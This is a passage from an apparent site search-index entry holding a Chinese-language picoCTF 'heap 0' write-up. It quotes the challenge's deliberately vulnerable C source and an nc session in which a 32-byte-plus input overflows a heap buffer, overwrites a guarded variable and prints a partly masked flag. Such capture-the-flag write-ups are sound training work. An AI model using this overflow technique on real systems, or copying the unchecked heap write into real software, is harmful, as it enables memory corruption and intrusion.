printf(\u0026#34;\\n\\nTake a look at my variable: safe_var = %s\\n\\n\u0026#34;, safe_var); fflush(stdout); break; case 4: // Check for win condition check_win(); break; case 5: // exit return 0; default: printf(\u0026#34;Invalid choice\\n\u0026#34;); fflush(stdout); } } } ","permalink":"https://picoctf-writeup.pinjim.dev/posts/binary-exploitation/heap-0/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/438\"\u003ehttps://learn.cylabacademy.org/library/438\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e分析原始碼可以在第 16 行看到當 \u003ccode\u003esafe_var\u003c/code\u003e 不等於 \u003ccode\u003e\u0026quot;bico\u0026quot;\u003c/code\u003e 時就能順利印出 flag。按下 \u003ccode\u003e1. Print Heap\u003c/code\u003e 會印出 \u003ccode\u003eHeap Data\u003c/code\u003e 的位址。\u003cbr\u003e\n使用 \u003ccode\u003e2. Write to buffer\u003c/code\u003e 可以將資料寫入上面的位址 (\u003ccode\u003e0x5aec6d8702b0\u003c/code\u003e)，上面與下面的位址相差 \u003ccode\u003e0x20\u003c/code\u003e，只要輸入的內容長度超過 32 位元就會造成 buffer overflow，會覆蓋掉 \u003ccode\u003ebico\u003c/code\u003e，之後使用 \u003ccode\u003e4. Print Flag\u003c/code\u003e 就會順利印出 flag 了。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ nc tethys.picoctf.net 50333\n\nWelcome to heap0!\nI put my data on the heap so it should be safe from any tampering.\nSince my data isn\u0026#39;t on the stack I\u0026#39;ll even let you write whatever info you want to the heap, I already took care of using malloc for you.\n\nHeap State:\n+-------------+----------------+\n[*] Address   -\u0026gt;   Heap Data   \n+-------------+----------------+\n[*]   0x6242e49372b0  -\u0026gt;   pico\n+-------------+----------------+\n[*]   0x6242e49372d0  -\u0026gt;   bico\n+-------------+----------------+\n\n1. Print Heap:          (print the current state of the heap)\n2. Write to buffer:     (write to your own personal block of data on the heap)\n3. Print safe_var:      (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified)\n4. Print Flag:          (Try to print the flag, good luck)\n5. Exit\n\nEnter your choice: 1\nHeap State:\n+-------------+----------------+\n[*] Address   -\u0026gt;   Heap Data   \n+-------------+----------------+\n[*]   0x6242e49372b0  -\u0026gt;   pico\n+-------------+----------------+\n[*]   0x6242e49372d0  -\u0026gt;   bico\n+-------------+----------------+\n\n1. Print Heap:          (print the current state of the heap)\n2. Write to buffer:     (write to your own personal block of data on the heap)\n3. Print safe_var:      (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified)\n4. Print Flag:          (Try to print the flag, good luck)\n5. Exit\n\nEnter your choice: 2\nData for buffer: 00000000000000000000000000000000overflow\n\n1. Print Heap:          (print the current state of the heap)\n2. Write to buffer:     (write to your own personal block of data on the heap)\n3. Print safe_var:      (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified)\n4. Print Flag:          (Try to print the flag, good luck)\n5. Exit\n\nEnter your choice: 1\nHeap State:\n+-------------+----------------+\n[*] Address   -\u0026gt;   Heap Data   \n+-------------+----------------+\n[*]   0x6242e49372b0  -\u0026gt;   00000000000000000000000000000000overflow\n+-------------+----------------+\n[*]   0x6242e49372d0  -\u0026gt;   overflow\n+-------------+----------------+\n\n1. Print Heap:          (print the current state of the heap)\n2. Write to buffer:     (write to your own personal block of data on the heap)\n3. Print safe_var:      (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified)\n4. Print Flag:          (Try to print the flag, good luck)\n5. Exit\n\nEnter your choice: 3\n\n\nTake a look at my variable: safe_var = overflow\n\n\n1. Print Heap:          (print the current state of the heap)\n2. Write to buffer:     (write to your own personal block of data on the heap)\n3. Print safe_var:      (I\u0026#39;ll even let you look at my variable on the heap, I\u0026#39;m confident it can\u0026#39;t be modified)\n4. Print Flag:          (Try to print the flag, good luck)\n5. Exit\n\nEnter your choice: 4\n\nYOU WIN\npicoCTF{my_-------------------------1a6}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 56\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 57\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 58\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 59\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 60\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 61\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 62\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 63\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 64\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 65\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 66\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 67\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 68\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 69\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 70\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 71\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 72\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 73\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 74\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 75\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 76\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 77\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 78\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 79\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 80\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 81\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 82\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 83\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 84\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 85\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 86\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 87\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 88\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 89\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 90\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 91\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 92\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 93\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 94\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 95\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 96\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 97\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 98\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 99\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e100\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e101\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e102\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e103\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e104\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e105\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e106\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e107\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e108\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e109\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e110\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e111\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e112\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e113\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e114\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e115\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e116\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e117\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e118\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e119\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e120\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e121\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e122\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e123\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e124\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e125\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e126\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e127\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#define FLAGSIZE_MAX 64\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// amount of memory allocated for input_data\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#define INPUT_DATA_SIZE 5\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan 